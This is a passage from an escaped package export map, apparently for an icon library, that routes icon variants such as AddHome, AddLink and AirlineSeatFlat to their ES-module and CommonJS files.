\"./AddCircleOutline.mjs\",\n      \"require\": \"./AddCircleOutline.js\",\n      \"default\": \"./AddCircleOutline.mjs\"\n    },\n    \"./AddCircleOutlineOutlined\": {\n      \"import\": \"./AddCircleOutlineOutlined.mjs\",\n      \"require\": \"./AddCircleOutlineOutlined.js\",\n      \"default\": \"./AddCircleOutlineOutlined.mjs\"\n    },\n    \"./AddCircleOutlineRounded\": {\n      \"import\": \"./AddCircleOutlineRounded.mjs\",\n      \"require\": \"./AddCircleOutlineRounded.js\",\n      \"default\": \"./AddCircleOutlineRounded.mjs\"\n    },\n    \"./AddCircleOutlineSharp\": {\n      \"import\": \"./AddCircleOutlineSharp.mjs\",\n      \"require\": \"./AddCircleOutlineSharp.js\",\n      \"default\": \"./AddCircleOutlineSharp.mjs\"\n    },\n    \"./AddCircleOutlineTwoTone\": {\n      \"import\": \"./AddCircleOutlineTwoTone.mjs\",\n      \"require\": \"./AddCircleOutlineTwoTone.js\",\n      \"default\": \"./AddCircleOutlineTwoTone.mjs\"\n    },\n    \"./AddCircleOutlined\": {\n      \"import\": \"./AddCircleOutlined.mjs\",\n      \"require\": \"./AddCircleOutlined.js\",\n      \"default\": \"./AddCircleOutlined.mjs\"\n    },\n    \"./AddCircleRounded\": {\n      \"import\": \"./AddCircleRounded.mjs\",\n      \"require\": \"./AddCircleRounded.js\",\n      \"default\": \"./AddCircleRounded.mjs\"\n    },\n    \"./AddCircleSharp\": {\n      \"import\": \"./AddCircleSharp.mjs\",\n      \"require\": \"./AddCircleSharp.js\",\n      \"default\": \"./AddCircleSharp.mjs\"\n    },\n    \"./AddCircleTwoTone\": {\n      \"import\": \"./AddCircleTwoTone.mjs\",\n      \"require\": \"./AddCircleTwoTone.js\",\n      \"default\": \"./AddCircleTwoTone.mjs\"\n    },\n    \"./AddComment\": {\n      \"import\": \"./AddComment.mjs\",\n      \"require\": \"./AddComment.js\",\n      \"default\": \"./AddComment.mjs\"\n    },\n    \"./AddCommentOutlined\": {\n      \"import\": \"./AddCommentOutlined.mjs\",\n      \"require\": \"./AddCommentOutlined.js\",\n      \"default\": \"./AddCommentOutlined.mjs\"\n    },\n    \"./AddCommentRounded\": {\n      \"import\": \"./AddCommentRounded.mjs\",\n      \"require\": \"./AddCommentRounded.js\",\n      \"default\": \"./AddCommentRounded.mjs\"\n    },\n    \"./AddCommentSharp\": {\n      \"import\": \"./AddCommentSharp.mjs\",\n      \"require\": \"./AddCommentSharp.js\",\n      \"default\": \"./AddCommentSharp.mjs\"\n    },\n    \"./AddCommentTwoTone\": {\n      \"import\": \"./AddCommentTwoTone.mjs\",\n      \"require\": \"./AddCommentTwoTone.js\",\n      \"default\": \"./AddCommentTwoTone.mjs\"\n    },\n    \"./AddHome\": {\n      \"import\": \"./AddHome.mjs\",\n      \"require\": \"./AddHome.js\",\n      \"default\": \"./AddHome.mjs\"\n    },\n    \"./AddHomeOutlined\": {\n      \"import\": \"./AddHomeOutlined.mjs\",\n      \"require\": \"./AddHomeOutlined.js\",\n      \"default\": \"./AddHomeOutlined.mjs\"\n    },\n    \"./AddHomeRounded\": {\n      \"require\": \"./AddHomeRounded.js\",\n      \"import\": \"./AddHomeRounded.mjs\",\n      \"default\": \"./AddHomeRounded.mjs\"\n    },\n    \"./AddHomeSharp\": {\n      \"require\": \"./AddHomeSharp.js\",\n      \"import\": \"./AddHomeSharp.mjs\",\n      \"default\": \"./AddHomeSharp.mjs\"\n    },\n    \"./AddHomeTwoTone\": {\n      \"require\": \"./AddHomeTwoTone.js\",\n      \"import\": \"./AddHomeTwoTone.mjs\",\n      \"default\": \"./AddHomeTwoTone.mjs\"\n    },\n    \"./AddHomeWork\": {\n      \"require\": \"./AddHomeWork.js\",\n      \"import\": \"./AddHomeWork.mjs\",\n      \"default\": \"./AddHomeWork.mjs\"\n    },\n    \"./AddHomeWorkOutlined\": {\n      \"require\": \"./AddHomeWorkOutlined.js\",\n      \"import\": \"./AddHomeWorkOutlined.mjs\",\n      \"default\": \"./AddHomeWorkOutlined.mjs\"\n    },\n    \"./AddHomeWorkRounded\": {\n      \"require\": \"./AddHomeWorkRounded.js\",\n      \"import\": \"./AddHomeWorkRounded.mjs\",\n      \"default\": \"./AddHomeWorkRounded.mjs\"\n    },\n    \"./AddHomeWorkSharp\": {\n      \"require\": \"./AddHomeWorkSharp.js\",\n      \"import\": \"./AddHomeWorkSharp.mjs\",\n      \"default\": \"./AddHomeWorkSharp.mjs\"\n    },\n    \"./AddHomeWorkTwoTone\": {\n      \"require\": \"./AddHomeWorkTwoTone.js\",\n      \"import\": \"./AddHomeWorkTwoTone.mjs\",\n      \"default\": \"./AddHomeWorkTwoTone.mjs\"\n    },\n    \"./AddIcCall\": {\n      \"require\": \"./AddIcCall.js\",\n      \"import\": \"./AddIcCall.mjs\",\n      \"default\": \"./AddIcCall.mjs\"\n    },\n    \"./AddIcCallOutlined\": {\n      \"require\": \"./AddIcCallOutlined.js\",\n      \"import\": \"./AddIcCallOutlined.mjs\",\n      \"default\": \"./AddIcCallOutlined.mjs\"\n    },\n    \"./AddIcCallRounded\": {\n      \"require\": \"./AddIcCallRounded.js\",\n      \"import\": \"./AddIcCallRounded.mjs\",\n      \"default\": \"./AddIcCallRounded.mjs\"\n    },\n    \"./AddIcCallSharp\": {\n      \"require\": \"./AddIcCallSharp.js\",\n      \"import\": \"./AddIcCallSharp.mjs\",\n      \"default\": \"./AddIcCallSharp.mjs\"\n    },\n    \"./AddIcCallTwoTone\": {\n      \"require\": \"./AddIcCallTwoTone.js\",\n      \"import\": \"./AddIcCallTwoTone.mjs\",\n      \"default\": \"./AddIcCallTwoTone.mjs\"\n    },\n    \"./AddLink\": {\n      \"require\": \"./AddLink.js\",\n      \"import\": \"./AddLink.mjs\",\n      \"default\": \"./AddLink.mjs\"\n    },\n    \"./AddLinkOutlined\": {\n      \"require\": \"./AddLinkOutlined.js\",\n      \"import\": \"./AddLinkOutlined.mjs\",\n      \"default\": \"./AddLinkOutlined.mjs\"\n    },\n    \"./AddLinkRounded\": {\n      \"require\": \"./AddLinkRounded.js\",\n      \"import\": \"./AddLinkRounded.mjs\",\n      \"default\": \"./AddLinkRounded.mjs\"\n    },\n    \"./AddLinkSharp\": {\n      \"require\": \"./AddLinkSharp.js\",\n      \"import\": \"./AddLinkSharp.mjs\",\n      \"default\": \"./AddLinkSharp.mjs\"\n    },\n    \"./AddLinkTwoTone\": {\n      \"require\": \"./AddLinkTwoTone.js\",\n      \"import\": \"./AddLinkTwoTone.mjs\",\n      \"default\": \"./AddLinkTwoTone.mjs\"\n    },\n    \"./AddLocation\": {\n      \"require\": \"./AddLocation.js\",\n      \"import\": \"./AddLocation.mjs\",\n      \"default\": \"./AddLocation.mjs\"\n    },\n    \"./AddLocationAlt\": {\n      \"require\": \"./AddLocationAlt.js\",\n      \"import\": \"./AddLocationAlt.mjs\",\n      \"default\": \"./AddLocationAlt.mjs\"\n    },\n    \"./AddLocationAltOutlined\": {\n      \"require\": \"./AddLocationAltOutlined.js\",\n      \"import\": \"./AddLocationAltOutlined.mjs\",\n      \"default\": \"./AddLocationAltOutlined.mjs\"\n    },\n    \"./AddLocationAltRounded\": {\n      \"require\": \"./AddLocationAltRounded.js\",\n      \"import\": \"./AddLocationAltRounded.mjs\",\n      \"default\": \"./AddLocationAltRounded.mjs\"\n    },\n    \"./AddLocationAltSharp\": {\n      \"require\": \"./AddLocationAltSharp.js\",\n      \"import\": \"./AddLocationAltSharp.mjs\",\n      \"default\": \"./AddLocationAltSharp.mjs\"\n    },\n    \"./AddLocationAltTwoTone\": {\n      \"require\": \"./AddLocationAltTwoTone.js\",\n      \"import\": \"./AddLocationAltTwoTone.mjs\",\n      \"default\": \"./AddLocationAltTwoTone.mjs\"\n    },\n    \"./AddLocationOutlined\": {\n      \"require\": \"./AddLocationOutlined.js\",\n      \"import\": \"./AddLocationOutlined.mjs\",\n      \"default\": \"./AddLocationOutlined.mjs\"\n    },\n    \"./AddLocationRounded\": {\n      \"require\": \"./AddLocationRounded.js\",\n      \"import\": \"./AddLocationRounded.mjs\",\n      \"default\": \"./AddLocationRounded.mjs\"\n    },\n    \"./AddLocationSharp\": {\n      \"require\": \"./AddLocationSharp.js\",\n      \"import\": \"./AddLocationSharp.mjs\",\n      \"default\": \"./AddLocationSharp.mjs\"\n    },\n    \"./AddLocationTwoTone\": {\n      \"require\": \"./AddLocationTwoTone.js\",\n      \"import\": \"./AddLocationTwoTone.mjs\",\n      \"default\": \"./AddLocationTwoTone.mjs\"\n    },\n    \"./AddModerator\": {\n      \"import\": \"./AddModerator.mjs\",\n      \"require\": \"./AddModerator.js\",\n      \"default\": \"./AddModerator.mjs\"\n    },\n    \"./AddModeratorOutlined\": {\n      \"import\": \"./AddModeratorOutlined.mjs\",\n      \"require\": \"./AddModeratorOutlined.js\",\n      \"default\": \"./AddModeratorOutlined.mjs\"\n    },\n    \"./AddModeratorRounded\": {\n      \"import\": \"./AddModeratorRounded.mjs\",\n      \"require\": \"./AddModeratorRounded.js\",\n      \"default\": \"./AddModeratorRounded.mjs\"\n    },\n    \"./AddModeratorSharp\": {\n      \"import\": \"./AddModeratorSharp.mjs\",\n      \"require\": \"./AddModeratorSharp.js\",\n      \"default\": \"./AddModeratorSharp.mjs\"\n    },\n    \"./AddModeratorTwoTone\": {\n      \"import\": \"./AddModeratorTwoTone.mjs\",\n      \"require\": \"./AddModeratorTwoTone.js\",\n      \"default\": \"./AddModeratorTwoTone.mjs\"\n    },\n    \"./AddOutlined\": {\n      \"import\": \"./AddOutlined.mjs\",\n      \"require\": \"./AddOutlined.js\",\n      \"default\": \"./AddOutlined.mjs\"\n    },\n    \"./AddPhotoAlternate\": {\n      \"import\": \"./AddPhotoAlternate.mjs\",\n      \"require\": \"./AddPhotoAlternate.js\",\n      \"default\": \"./AddPhotoAlternate.mjs\"\n    },\n    \"./AddPhotoAlternateOutlined\": {\n      \"import\": \"./AddPhotoAlternateOutlined.mjs\",\n      \"require\": \"./AddPhotoAlternateOutlined.js\",\n      \"default\": \"./AddPhotoAlternateOutlined.mjs\"\n    },\n    \"./AddPhotoAlternateRounded\": {\n      \"import\": \"./AddPhotoAlternateRounded.mjs\",\n      \"require\": \"./AddPhotoAlternateRounded.js\",\n      \"default\": \"./AddPhotoAlternateRounded.mjs\"\n    },\n    \"./AddPhotoAlternateSharp\": {\n      \"import\": \"./AddPhotoAlternateSharp.mjs\",\n      \"require\": \"./AddPhotoAlternateSharp.js\",\n      \"default\": \"./AddPhotoAlternateSharp.mjs\"\n    },\n    \"./AddPhotoAlternateTwoTone\": {\n      \"import\": \"./AddPhotoAlternateTwoTone.mjs\",\n      \"require\": \"./AddPhotoAlternateTwoTone.js\",\n      \"default\": \"./AddPhotoAlternateTwoTone.mjs\"\n    },\n    \"./AddReaction\": {\n      \"import\": \"./AddReaction.mjs\",\n      \"require\": \"./AddReaction.js\",\n      \"default\": \"./AddReaction.mjs\"\n    },\n    \"./AddReactionOutlined\": {\n      \"import\": \"./AddReactionOutlined.mjs\",\n      \"require\": \"./AddReactionOutlined.js\",\n      \"default\": \"./AddReactionOutlined.mjs\"\n    },\n    \"./AddReactionRounded\": {\n      \"import\": \"./AddReactionRounded.mjs\",\n      \"require\": \"./AddReactionRounded.js\",\n      \"default\": \"./AddReactionRounded.mjs\"\n    },\n    \"./AddReactionSharp\": {\n      \"import\": \"./AddReactionSharp.mjs\",\n      \"require\": \"./AddReactionSharp.js\",\n      \"default\": \"./AddReactionSharp.mjs\"\n    },\n    \"./AddReactionTwoTone\": {\n      \"require\": \"./AddReactionTwoTone.js\",\n      \"import\": \"./AddReactionTwoTone.mjs\",\n      \"default\": \"./AddReactionTwoTone.mjs\"\n    },\n    \"./AddRoad\": {\n      \"require\": \"./AddRoad.js\",\n      \"import\": \"./AddRoad.mjs\",\n      \"default\": \"./AddRoad.mjs\"\n    },\n    \"./AddRoadOutlined\": {\n      \"require\": \"./AddRoadOutlined.js\",\n      \"import\": \"./AddRoadOutlined.mjs\",\n      \"default\": \"./AddRoadOutlined.mjs\"\n    },\n    \"./AddRoadRounded\": {\n      \"require\": \"./AddRoadRounded.js\",\n      \"import\": \"./AddRoadRounded.mjs\",\n      \"default\": \"./AddRoadRounded.mjs\"\n    },\n    \"./AddRoadSharp\": {\n      \"require\": \"./AddRoadSharp.js\",\n      \"import\": \"./AddRoadSharp.mjs\",\n      \"default\": \"./AddRoadSharp.mjs\"\n    },\n    \"./AddRoadTwoTone\": {\n      \"require\": \"./AddRoadTwoTone.js\",\n      \"import\": \"./AddRoadTwoTone.mjs\",\n      \"default\": \"./AddRoadTwoTone.mjs\"\n    },\n    \"./AddRounded\": {\n      \"require\": \"./AddRounded.js\",\n      \"import\": \"./AddRounded.mjs\",\n      \"default\": \"./AddRounded.mjs\"\n    },\n    \"./AddSharp\": {\n      \"require\": \"./AddSharp.js\",\n      \"import\": \"./AddSharp.mjs\",\n      \"default\": \"./AddSharp.mjs\"\n    },\n    \"./AddShoppingCart\": {\n      \"require\": \"./AddShoppingCart.js\",\n      \"import\": \"./AddShoppingCart.mjs\",\n      \"default\": \"./AddShoppingCart.mjs\"\n    },\n    \"./AddShoppingCartOutlined\": {\n      \"require\": \"./AddShoppingCartOutlined.js\",\n      \"import\": \"./AddShoppingCartOutlined.mjs\",\n      \"default\": \"./AddShoppingCartOutlined.mjs\"\n    },\n    \"./AddShoppingCartRounded\": {\n      \"require\": \"./AddShoppingCartRounded.js\",\n      \"import\": \"./AddShoppingCartRounded.mjs\",\n      \"default\": \"./AddShoppingCartRounded.mjs\"\n    },\n    \"./AddShoppingCartSharp\": {\n      \"require\": \"./AddShoppingCartSharp.js\",\n      \"import\": \"./AddShoppingCartSharp.mjs\",\n      \"default\": \"./AddShoppingCartSharp.mjs\"\n    },\n    \"./AddShoppingCartTwoTone\": {\n      \"require\": \"./AddShoppingCartTwoTone.js\",\n      \"import\": \"./AddShoppingCartTwoTone.mjs\",\n      \"default\": \"./AddShoppingCartTwoTone.mjs\"\n    },\n    \"./AddTask\": {\n      \"require\": \"./AddTask.js\",\n      \"import\": \"./AddTask.mjs\",\n      \"default\": \"./AddTask.mjs\"\n    },\n    \"./AddTaskOutlined\": {\n      \"require\": \"./AddTaskOutlined.js\",\n      \"import\": \"./AddTaskOutlined.mjs\",\n      \"default\": \"./AddTaskOutlined.mjs\"\n    },\n    \"./AddTaskRounded\": {\n      \"require\": \"./AddTaskRounded.js\",\n      \"import\": \"./AddTaskRounded.mjs\",\n      \"default\": \"./AddTaskRounded.mjs\"\n    },\n    \"./AddTaskSharp\": {\n      \"require\": \"./AddTaskSharp.js\",\n      \"import\": \"./AddTaskSharp.mjs\",\n      \"default\": \"./AddTaskSharp.mjs\"\n    },\n    \"./AddTaskTwoTone\": {\n      \"require\": \"./AddTaskTwoTone.js\",\n      \"import\": \"./AddTaskTwoTone.mjs\",\n      \"default\": \"./AddTaskTwoTone.mjs\"\n    },\n    \"./AddToDrive\": {\n      \"require\": \"./AddToDrive.js\",\n      \"import\": \"./AddToDrive.mjs\",\n      \"default\": \"./AddToDrive.mjs\"\n    },\n    \"./AddToDriveOutlined\": {\n      \"require\": \"./AddToDriveOutlined.js\",\n      \"import\": \"./AddToDriveOutlined.mjs\",\n      \"default\": \"./AddToDriveOutlined.mjs\"\n    },\n    \"./AddToDriveRounded\": {\n      \"require\": \"./AddToDriveRounded.js\",\n      \"import\": \"./AddToDriveRounded.mjs\",\n      \"default\": \"./AddToDriveRounded.mjs\"\n    },\n    \"./AddToDriveSharp\": {\n      \"require\": \"./AddToDriveSharp.js\",\n      \"import\": \"./AddToDriveSharp.mjs\",\n      \"default\": \"./AddToDriveSharp.mjs\"\n    },\n    \"./AddToDriveTwoTone\": {\n      \"require\": \"./AddToDriveTwoTone.js\",\n      \"import\": \"./AddToDriveTwoTone.mjs\",\n      \"default\": \"./AddToDriveTwoTone.mjs\"\n    },\n    \"./AddToHomeScreen\": {\n      \"require\": \"./AddToHomeScreen.js\",\n      \"import\": \"./AddToHomeScreen.mjs\",\n      \"default\": \"./AddToHomeScreen.mjs\"\n    },\n    \"./AddToHomeScreenOutlined\": {\n      \"require\": \"./AddToHomeScreenOutlined.js\",\n      \"import\": \"./AddToHomeScreenOutlined.mjs\",\n      \"default\": \"./AddToHomeScreenOutlined.mjs\"\n    },\n    \"./AddToHomeScreenRounded\": {\n      \"require\": \"./AddToHomeScreenRounded.js\",\n      \"import\": \"./AddToHomeScreenRounded.mjs\",\n      \"default\": \"./AddToHomeScreenRounded.mjs\"\n    },\n    \"./AddToHomeScreenSharp\": {\n      \"require\": \"./AddToHomeScreenSharp.js\",\n      \"import\": \"./AddToHomeScreenSharp.mjs\",\n      \"default\": \"./AddToHomeScreenSharp.mjs\"\n    },\n    \"./AddToHomeScreenTwoTone\": {\n      \"require\": \"./AddToHomeScreenTwoTone.js\",\n      \"import\": \"./AddToHomeScreenTwoTone.mjs\",\n      \"default\": \"./AddToHomeScreenTwoTone.mjs\"\n    },\n    \"./AddToPhotos\": {\n      \"require\": \"./AddToPhotos.js\",\n      \"import\": \"./AddToPhotos.mjs\",\n      \"default\": \"./AddToPhotos.mjs\"\n    },\n    \"./AddToPhotosOutlined\": {\n      \"require\": \"./AddToPhotosOutlined.js\",\n      \"import\": \"./AddToPhotosOutlined.mjs\",\n      \"default\": \"./AddToPhotosOutlined.mjs\"\n    },\n    \"./AddToPhotosRounded\": {\n      \"require\": \"./AddToPhotosRounded.js\",\n      \"import\": \"./AddToPhotosRounded.mjs\",\n      \"default\": \"./AddToPhotosRounded.mjs\"\n    },\n    \"./AddToPhotosSharp\": {\n      \"require\": \"./AddToPhotosSharp.js\",\n      \"import\": \"./AddToPhotosSharp.mjs\",\n      \"default\": \"./AddToPhotosSharp.mjs\"\n    },\n    \"./AddToPhotosTwoTone\": {\n      \"require\": \"./AddToPhotosTwoTone.js\",\n      \"import\": \"./AddToPhotosTwoTone.mjs\",\n      \"default\": \"./AddToPhotosTwoTone.mjs\"\n    },\n    \"./AddToQueue\": {\n      \"require\": \"./AddToQueue.js\",\n      \"import\": \"./AddToQueue.mjs\",\n      \"default\": \"./AddToQueue.mjs\"\n    },\n    \"./AddToQueueOutlined\": {\n      \"require\": \"./AddToQueueOutlined.js\",\n      \"import\": \"./AddToQueueOutlined.mjs\",\n      \"default\": \"./AddToQueueOutlined.mjs\"\n    },\n    \"./AddToQueueRounded\": {\n      \"require\": \"./AddToQueueRounded.js\",\n      \"import\": \"./AddToQueueRounded.mjs\",\n      \"default\": \"./AddToQueueRounded.mjs\"\n    },\n    \"./AddToQueueSharp\": {\n      \"require\": \"./AddToQueueSharp.js\",\n      \"import\": \"./AddToQueueSharp.mjs\",\n      \"default\": \"./AddToQueueSharp.mjs\"\n    },\n    \"./AddToQueueTwoTone\": {\n      \"require\": \"./AddToQueueTwoTone.js\",\n      \"import\": \"./AddToQueueTwoTone.mjs\",\n      \"default\": \"./AddToQueueTwoTone.mjs\"\n    },\n    \"./AddTwoTone\": {\n      \"require\": \"./AddTwoTone.js\",\n      \"import\": \"./AddTwoTone.mjs\",\n      \"default\": \"./AddTwoTone.mjs\"\n    },\n    \"./Addchart\": {\n      \"require\": \"./Addchart.js\",\n      \"import\": \"./Addchart.mjs\",\n      \"default\": \"./Addchart.mjs\"\n    },\n    \"./AddchartOutlined\": {\n      \"require\": \"./AddchartOutlined.js\",\n      \"import\": \"./AddchartOutlined.mjs\",\n      \"default\": \"./AddchartOutlined.mjs\"\n    },\n    \"./AddchartRounded\": {\n      \"require\": \"./AddchartRounded.js\",\n      \"import\": \"./AddchartRounded.mjs\",\n      \"default\": \"./AddchartRounded.mjs\"\n    },\n    \"./AddchartSharp\": {\n      \"require\": \"./AddchartSharp.js\",\n      \"import\": \"./AddchartSharp.mjs\",\n      \"default\": \"./AddchartSharp.mjs\"\n    },\n    \"./AddchartTwoTone\": {\n      \"require\": \"./AddchartTwoTone.js\",\n      \"import\": \"./AddchartTwoTone.mjs\",\n      \"default\": \"./AddchartTwoTone.mjs\"\n    },\n    \"./AdfScanner\": {\n      \"require\": \"./AdfScanner.js\",\n      \"import\": \"./AdfScanner.mjs\",\n      \"default\": \"./AdfScanner.mjs\"\n    },\n    \"./AdfScannerOutlined\": {\n      \"require\": \"./AdfScannerOutlined.js\",\n      \"import\": \"./AdfScannerOutlined.mjs\",\n      \"default\": \"./AdfScannerOutlined.mjs\"\n    },\n    \"./AdfScannerRounded\": {\n      \"require\": \"./AdfScannerRounded.js\",\n      \"import\": \"./AdfScannerRounded.mjs\",\n      \"default\": \"./AdfScannerRounded.mjs\"\n    },\n    \"./AdfScannerSharp\": {\n      \"require\": \"./AdfScannerSharp.js\",\n      \"import\": \"./AdfScannerSharp.mjs\",\n      \"default\": \"./AdfScannerSharp.mjs\"\n    },\n    \"./AdfScannerTwoTone\": {\n      \"require\": \"./AdfScannerTwoTone.js\",\n      \"import\": \"./AdfScannerTwoTone.mjs\",\n      \"default\": \"./AdfScannerTwoTone.mjs\"\n    },\n    \"./Adjust\": {\n      \"require\": \"./Adjust.js\",\n      \"import\": \"./Adjust.mjs\",\n      \"default\": \"./Adjust.mjs\"\n    },\n    \"./AdjustOutlined\": {\n      \"require\": \"./AdjustOutlined.js\",\n      \"import\": \"./AdjustOutlined.mjs\",\n      \"default\": \"./AdjustOutlined.mjs\"\n    },\n    \"./AdjustRounded\": {\n      \"require\": \"./AdjustRounded.js\",\n      \"import\": \"./AdjustRounded.mjs\",\n      \"default\": \"./AdjustRounded.mjs\"\n    },\n    \"./AdjustSharp\": {\n      \"require\": \"./AdjustSharp.js\",\n      \"import\": \"./AdjustSharp.mjs\",\n      \"default\": \"./AdjustSharp.mjs\"\n    },\n    \"./AdjustTwoTone\": {\n      \"require\": \"./AdjustTwoTone.js\",\n      \"import\": \"./AdjustTwoTone.mjs\",\n      \"default\": \"./AdjustTwoTone.mjs\"\n    },\n    \"./AdminPanelSettings\": {\n      \"require\": \"./AdminPanelSettings.js\",\n      \"import\": \"./AdminPanelSettings.mjs\",\n      \"default\": \"./AdminPanelSettings.mjs\"\n    },\n    \"./AdminPanelSettingsOutlined\": {\n      \"require\": \"./AdminPanelSettingsOutlined.js\",\n      \"import\": \"./AdminPanelSettingsOutlined.mjs\",\n      \"default\": \"./AdminPanelSettingsOutlined.mjs\"\n    },\n    \"./AdminPanelSettingsRounded\": {\n      \"require\": \"./AdminPanelSettingsRounded.js\",\n      \"import\": \"./AdminPanelSettingsRounded.mjs\",\n      \"default\": \"./AdminPanelSettingsRounded.mjs\"\n    },\n    \"./AdminPanelSettingsSharp\": {\n      \"require\": \"./AdminPanelSettingsSharp.js\",\n      \"import\": \"./AdminPanelSettingsSharp.mjs\",\n      \"default\": \"./AdminPanelSettingsSharp.mjs\"\n    },\n    \"./AdminPanelSettingsTwoTone\": {\n      \"require\": \"./AdminPanelSettingsTwoTone.js\",\n      \"import\": \"./AdminPanelSettingsTwoTone.mjs\",\n      \"default\": \"./AdminPanelSettingsTwoTone.mjs\"\n    },\n    \"./AdsClick\": {\n      \"require\": \"./AdsClick.js\",\n      \"import\": \"./AdsClick.mjs\",\n      \"default\": \"./AdsClick.mjs\"\n    },\n    \"./AdsClickOutlined\": {\n      \"require\": \"./AdsClickOutlined.js\",\n      \"import\": \"./AdsClickOutlined.mjs\",\n      \"default\": \"./AdsClickOutlined.mjs\"\n    },\n    \"./AdsClickRounded\": {\n      \"require\": \"./AdsClickRounded.js\",\n      \"import\": \"./AdsClickRounded.mjs\",\n      \"default\": \"./AdsClickRounded.mjs\"\n    },\n    \"./AdsClickSharp\": {\n      \"require\": \"./AdsClickSharp.js\",\n      \"import\": \"./AdsClickSharp.mjs\",\n      \"default\": \"./AdsClickSharp.mjs\"\n    },\n    \"./AdsClickTwoTone\": {\n      \"require\": \"./AdsClickTwoTone.js\",\n      \"import\": \"./AdsClickTwoTone.mjs\",\n      \"default\": \"./AdsClickTwoTone.mjs\"\n    },\n    \"./Agriculture\": {\n      \"require\": \"./Agriculture.js\",\n      \"import\": \"./Agriculture.mjs\",\n      \"default\": \"./Agriculture.mjs\"\n    },\n    \"./AgricultureOutlined\": {\n      \"require\": \"./AgricultureOutlined.js\",\n      \"import\": \"./AgricultureOutlined.mjs\",\n      \"default\": \"./AgricultureOutlined.mjs\"\n    },\n    \"./AgricultureRounded\": {\n      \"require\": \"./AgricultureRounded.js\",\n      \"import\": \"./AgricultureRounded.mjs\",\n      \"default\": \"./AgricultureRounded.mjs\"\n    },\n    \"./AgricultureSharp\": {\n      \"require\": \"./AgricultureSharp.js\",\n      \"import\": \"./AgricultureSharp.mjs\",\n      \"default\": \"./AgricultureSharp.mjs\"\n    },\n    \"./AgricultureTwoTone\": {\n      \"require\": \"./AgricultureTwoTone.js\",\n      \"import\": \"./AgricultureTwoTone.mjs\",\n      \"default\": \"./AgricultureTwoTone.mjs\"\n    },\n    \"./Air\": {\n      \"require\": \"./Air.js\",\n      \"import\": \"./Air.mjs\",\n      \"default\": \"./Air.mjs\"\n    },\n    \"./AirOutlined\": {\n      \"require\": \"./AirOutlined.js\",\n      \"import\": \"./AirOutlined.mjs\",\n      \"default\": \"./AirOutlined.mjs\"\n    },\n    \"./AirRounded\": {\n      \"require\": \"./AirRounded.js\",\n      \"import\": \"./AirRounded.mjs\",\n      \"default\": \"./AirRounded.mjs\"\n    },\n    \"./AirSharp\": {\n      \"require\": \"./AirSharp.js\",\n      \"import\": \"./AirSharp.mjs\",\n      \"default\": \"./AirSharp.mjs\"\n    },\n    \"./AirTwoTone\": {\n      \"require\": \"./AirTwoTone.js\",\n      \"import\": \"./AirTwoTone.mjs\",\n      \"default\": \"./AirTwoTone.mjs\"\n    },\n    \"./AirlineSeatFlat\": {\n      \"require\": \"./AirlineSeatFlat.js\",\n      \"import\": \"./AirlineSeatFlat.mjs\",\n      \"default\": \"./AirlineSeatFlat.mjs\"\n    },\n    \"./AirlineSeatFlatAngled\": {\n      \"require\": \"./AirlineSeatFlatAngled.js\",\n      \"import\": \"./AirlineSeatFlatAngled.mjs\",\n      \"default\": \"./AirlineSeatFlatAngled.mjs\"\n    },\n    \"./AirlineSeatFlatAngledOutlined\": {\n      \"require\": \"./AirlineSeatFlatAngledOutlined.js\",\n      \"import\": \"./AirlineSeatFlatAngledOutlined.mjs\",\n      \"default\": \"./AirlineSeatFlatAngledOutlined.mjs\"\n    },\n    \"./AirlineSeatFlatAngledRounded\": {\n      \"require\": \"./AirlineSeatFlatAngledRounded.js\",\n      \"import\": \"./AirlineSeatFlatAngledRounded.mjs\",\n      \"default\": \"./AirlineSeatFlatAngledRounded.mjs\"\n    },\n    \"./AirlineSeatFlatAngledSharp\": {\n      \"require\": \"./AirlineSeatFlatAngledSharp.js\",\n      \"import\": \"./AirlineSeatFlatAngledSharp.mjs\",\n      \"default\": \"./AirlineSeatFlatAngledSharp.mjs\"\n    },\n    \"./AirlineSeatFlatAngledTwoTone\": {\n      \"require\": \"./AirlineSeatFlatAngledTwoTone.js\",\n      \"import\": \"./AirlineSeatFlatAngledTwoTone.mjs\",\n      \"default\": \"./AirlineSeatFlatAngledTwoTone.mjs\"\n    },\n    \"./AirlineSeatFlatOutlined\": {\n      \"require\": \"./AirlineSeatFlatOutlined.js\",\n      \"import\": \"./AirlineSeatFlatOutlined.mjs\",\n      \"default\": \"./AirlineSeatFlatOutlined.mjs\"\n    },\n    \"./AirlineSeatFlatRounded\": {\n      \"require\": \"./AirlineSeatFlatRounded.js\",\n      \"import\": \"./AirlineSeatFlatRounded.mjs\",\n      \"default\": \"./AirlineSeatFlatRounded.mjs\"\n    },\n    \"./AirlineSeatFlatSharp\": {\n      \"require\": \"./AirlineSeatFlatSharp.js\",\n      \"import\": \"./AirlineSeatFlatSharp.mjs\",\n      \"default\": \"./AirlineSeatFlatSharp.mjs\"\n    },\n    \"./AirlineSeatFlatTwoTone\": {\n      \"require\": \"./AirlineSeatFlatTwoTone.js\",\n      \"import\": \"./AirlineSeatFlatTwoTone.mjs\",\n      \"default\": \"./AirlineSeatFlatTwoTone.mjs\"\n    },\n    \"./AirlineSeatIndividualSuite\": {\n      \"require\": \"./AirlineSeatIndividualSuite.js\",\n      \"import\": \"./AirlineSeatIndividualSuite.mjs\",\n      \"default\": \"./AirlineSeatIndividualSuite.mjs\"\n    },\n    \"./AirlineSeatIndividualSuiteOutlined\": {\n      \"require\": \"./AirlineSeatIndividualSuiteOutlined.js\",\n      \"import\": \"./AirlineSeatIndividualSuiteOutlined.mjs\",\n      \"default\": \"./AirlineSeatIndividualSuiteOutlined.mjs\"\n    },\n    \"./AirlineSeatIndividualSuiteRounded\": {\n      \"require\": \"./AirlineSeatIndividualSuiteRounded.js\",\n      \"import\": \"./AirlineSeatIndividualSuiteRounded.mjs\",\n      \"default\": \"./AirlineSeatIndividualSuiteRounded.mjs\"\n    },\n    \"./AirlineSeatIndividualSuiteSharp\": {\n      \"require\": \"./AirlineSeatIndividualSuiteSharp.js\",\n      \"import\": \"./AirlineSeatIndividualSuiteSharp.mjs\",\n      \"default\": \"./AirlineSeatIndividualSuiteSharp.mjs\"\n    },\n    \"./AirlineSeatIndividualSuiteTwoTone\": {\n      \"require\": \"./AirlineSeatIndividualSuiteTwoTone.js\",\n      \"import\": \"./AirlineSeatIndividualSuiteTwoTone.mjs\",\n      \"default\": \"./AirlineSeatIndividualSuiteTwoTone.mjs\"\n    },\n    \"./AirlineSeatLegroomExtra\": {\n      \"require\": \"./AirlineSeatLegroomExtra.js\",\n      \"import\": \"./AirlineSeatLegroomExtra.mjs\",\n      \"default\": \"./AirlineSeatLegroomExtra.mjs\"\n    },\n    \"./AirlineSeatLegroomExtraOutlined\": {\n      